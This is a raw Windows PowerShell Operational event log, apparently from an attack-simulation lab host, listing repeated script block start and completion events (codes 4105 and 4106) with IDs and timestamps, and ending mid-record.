LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987866 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987865 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987864 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987883 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987882 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987881 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987880 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987879 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987878 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987877 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987876 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987875 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987874 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987893 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987892 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987891 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987890 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987889 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987888 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987887 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987886 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987885 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987884 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987903 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987902 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987901 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987900 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987899 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987898 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987897 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987896 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987895 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987894 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987913 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987912 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987911 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987910 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987909 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987908 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987907 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987906 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987905 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987904 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987923 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987922 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987921 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987920 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987919 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987918 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987917 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987916 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987915 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987914 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987933 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987932 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987931 Keywords=None Message=Completed invocation of ScriptBlock ID: 